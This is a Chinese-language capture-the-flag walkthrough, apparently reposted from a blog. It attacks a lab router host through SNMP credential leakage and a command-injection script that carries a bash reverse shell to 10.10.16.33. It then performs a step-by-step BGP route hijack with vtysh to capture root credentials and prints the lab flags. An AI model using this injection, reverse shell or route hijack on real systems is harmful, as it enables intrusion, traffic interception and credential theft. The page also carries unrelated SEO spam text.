当前位置: 首页> 教育> 大学 > 网络优化和推广_西安网站建设g_优化教程网_发稿

网络优化和推广_西安网站建设g_优化教程网_发稿

时间:2025/7/9 11:52:10来源:https://blog.csdn.net/qq_51886509/article/details/146693170 浏览次数:0次
网络优化和推广_西安网站建设g_优化教程网_发稿

Information Gathering

IP AddressOpening Ports
10.10.10.105TCP:22,80

$ ip='10.10.10.105'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 15a42877ee130706340986fd6fcc4ce2 (RSA)
|   256 37bede070f10bb2bb585f79d925e8325 (ECDSA)
|_  256 895aee1c2202d21340f2452e7045b0c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SNMP

$ snmpwalk -c public -v 1 10.10.10.105

image.png

NET_45JDX23

CW-1000-X RCE

http://10.10.10.105/

image-1.png

$ feroxbuster -u 'http://10.10.10.105/'

image-2.png

image-3.png

image-4.png

45007:License invalid or expired

45009:System credentials have not been set Default admin user password is set (see chassis serial number)

username:admin
password:NET_45JDX23

image-5.png

http://10.10.10.105/diag.php

image-6.png

check=cXVhZ2dhO3BpbmcgLWMgMSAxMC4xMC4xNi4zMw==

image-7.png

#!/bin/bash
URL="http://10.10.10.105/diag.php"
COOKIE="PHPSESSID=vsn8nsns2hmn9jnmvu3u576s10"
CMD="/bin/bash -i >& /dev/tcp/10.10.16.33/443 0>&1"
B64_CMD=$(echo -n "root;$CMD" | base64)
curl -s -X POST "$URL" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: $COOKIE" --data-urlencode "check=$B64_CMD"

image-8.png

User.txt

13e98f59a7de80e9aa34e8473f592e37

Privilege Escalation: ASN P2P Link && BGP Hijack

image-9.png

image-10.png

$ cat /etc/quagga/bgpd.conf

image-12.png

!
! Zebra configuration saved from vty
!   2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
# 这两条 路由映射(Route Map) 允许 BGP 通过特定规则控制路由的传播。
!
router bgp 100
# 声明该路由器属于 AS100。bgp router-id 10.255.255.1network 10.101.8.0/21network 10.101.16.0/21
# 这两条 network 语句告诉 BGP 要对外公告 这些网段(即 AS100 内部的子网)。redistribute connectedneighbor 10.78.10.2 remote-as 200neighbor 10.78.11.2 remote-as 300
# 邻居(Peer)10.78.10.2 属于 AS200,因此它是 AS100 与 AS200 之间的 BGP 邻居。
# 邻居(Peer)10.78.11.2 属于 AS300,因此它是 AS100 与 AS300 之间的 BGP 邻居。neighbor 10.78.10.2 route-map to-as200 outneighbor 10.78.11.2 route-map to-as300 out
# route-map to-as200 out:将 to-as200 规则应用到 发送给 10.78.10.2(AS200)的路由。
# route-map to-as300 out:将 to-as300 规则应用到 发送给 10.78.11.2(AS300)的路由。
!

fa7eb3c99acea84bd5ec33d2a4ace50b.png

image-14.png

当前处于AS100中

http://10.10.10.105/tickets.php

image-13.png

10.120.15.0/24
10.120.16.0/24
10.120.17.0/24

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

$ ./nmap -Pn -e eth1 10.120.15.0/24 10.120.16.0/24 10.120.17.0/24 --min-rate 1000 --open

[ default ] (0.0.0.0/0) -> 10.99.64.1 (eth0)├── [ Directly Connected ] 10.99.64.0/24 (eth0)├── [ Directly Connected ] 10.78.10.0/24 (eth1)├── [ Directly Connected ] 10.78.11.0/24 (eth2)│├── [ Route via 10.78.10.2 ] (eth1)  # AS200│   ├── 10.100.10.0/24│   ├── 10.100.11.0/24│   ├── 10.100.12.0/24│   ├── 10.100.13.0/24│   ├── 10.100.14.0/24│   ├── 10.100.15.0/24 <=== None│   ├── 10.100.16.0/24 <=== None│   ├── 10.100.17.0/24 <=== None│   ├── 10.100.18.0/24│   ├── 10.100.19.0/24│   ├── 10.100.20.0/24│├── [ Route via 10.78.11.2 ] (eth2)  # AS300├── 10.120.10.0/24├── 10.120.11.0/24├── 10.120.12.0/24├── 10.120.13.0/24├── 10.120.14.0/24├── 10.120.15.0/24 ├── 10.120.16.0/24├── 10.120.17.0/24├── 10.120.18.0/24├── 10.120.19.0/24├── 10.120.20.0/24

image-16.png

$ ./nmap -Pn -e eth2 10.120.15.0/24 10.120.16.0/24 10.120.17.0/24 --min-rate 1000 --open

[ default ] (0.0.0.0/0) -> 10.99.64.1 (eth0)├── [ Directly Connected ] 10.99.64.0/24 (eth0)├── [ Directly Connected ] 10.78.10.0/24 (eth1)├── [ Directly Connected ] 10.78.11.0/24 (eth2)│├── [ Route via 10.78.10.2 ] (eth1)  # AS200│   ├── 10.100.10.0/24│   ├── 10.100.11.0/24│   ├── 10.100.12.0/24│   ├── 10.100.13.0/24│   ├── 10.100.14.0/24│   ├── 10.100.15.0/24 <=== None│   ├── 10.100.16.0/24 <=== None│   ├── 10.100.17.0/24 <=== None│   ├── 10.100.18.0/24│   ├── 10.100.19.0/24│   ├── 10.100.20.0/24│├── [ Route via 10.78.11.2 ] (eth2)  # AS300├── 10.120.10.0/24├── 10.120.11.0/24├── 10.120.12.0/24├── 10.120.13.0/24├── 10.120.14.0/24├── 10.120.15.0/24 <=== 10.120.15.10(FTP,ssh,domain)├── 10.120.16.0/24 <=== None├── 10.120.17.0/24 <=== None├── 10.120.18.0/24├── 10.120.19.0/24├── 10.120.20.0/24

image-17.png

1.劫持10.78.11.2下访问到10.120.15.10的流量

BGP(边界网关协议,Border Gateway Protocol)是一种用于在不同自治系统(AS,Autonomous Systems)之间交换路由信息的协议。它是 互联网的核心路由协议,在全球互联网中发挥着关键作用,决定着数据包从一个网络到另一个网络的路径。

vtysh 是一个命令行工具,用于与 Quagga 和 FRRouting (FRR) 路由软件进行交互。这些路由软件通常用于 Linux 系统上作为网络路由协议的实现,支持多个协议,如 BGP(边界网关协议)、OSPF(开放最短路径优先)和 RIP(路由信息协议)。

$ vtysh

1.切换到配置模式

r1# configure terminal

2.创建一个IP前缀列表,并允许匹配 10.120.15.0/25 这一网络范围,意味着此列表将接受来自该范围的路由或地址。

r1(config)# ip prefix-list maptnh permit 10.120.15.0/25

3.创建 to-as200 路由,并定义规则的优先级为 10,表示首先进行匹配。

r1(config)# route-map to-as200 permit 10

4.在 to-as200 路由映射中,指定一个匹配条件,要求流量的目标IP地址符合 目的地址在 10.120.15.0/25 范围内。

r1(config-route-map)# match ip address prefix-list maptnh

5.在匹配条件符合的流量上,设置BGP社区属性为 no-export。这意味着这些路由不会被广告到其他BGP邻居。no-export 是一个常见的社区值,用来限制路由的传播

r1(config-route-map)# set community no-export

6.定义 to-as200 路由规则,优先级为 20 表示匹配其他未匹配的路由。

r1(config-route-map)# route-map to-as200 permit 20

7.切换到 to-as300 路由,并定义优先级为 10 的规则,表示不允许匹配该规则的路由

r1(config-route-map)# route-map to-as300 deny 10

8.设置规则要求匹配 IP 地址

r1(config-route-map)# match ip address prefix-list maptnh

9.定义 to-as300 路由规则,优先级为 20

r1(config-route-map)# route-map to-as300 permit 20

10.进入BGP路由协议配置模式,设置该路由器为AS100的一部分,AS号为 100。

r1(config-router)# router bgp 100

11.在BGP中宣布网络 10.120.15.0/25。这意味着该路由器将告知BGP邻居它拥有这个网络。

r1(config-router)# network 10.120.15.0 mask 255.255.255.128

12.退出配置模式。

r1(config-router)# end

13.清除BGP会话并重新启动BGP进程。这通常用于刷新路由信息。

r1# clear ip bgp *

image-18.png

                      +------------------+|    AS100 (本地)   |+------------------+|| (宣布网络 10.120.15.0/25)|+----------------+------------------+|                |                  |+-------------+   +-------------+   +-------------+|  to-as200   |   |  to-as300   |   |  BGP Routes || (no-export) |   | (deny 10)   |   | (Advertise) |+-------------+   +-------------+   +-------------+|(no-export标记)|---------------  |       AS200       |---------------  

AS300 不会接收到 10.120.15.0/25 的路由,因为配置了拒绝规则 (deny 10)。

AS200 不会接收到 10.120.15.0/25 的路由,因为配置了 no-export 社区属性。

AS100 会接收到 10.120.15.0/25 的路由,并允许它作为入站路由传播。

r1# show ip bgp neighbors 10.78.10.2 advertised-routes

image-19.png

$ tcpdump -i eth2 -w /tmp/res.pcap

image-20.png

username:root
password:BGPtelc0rout1ng

$ ssh root@10.10.10.105

image-21.png

Root.txt

ba0ec18cfa0f83cf7eeab8c90a30cd2e

关键字:网络优化和推广_西安网站建设g_优化教程网_发稿

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: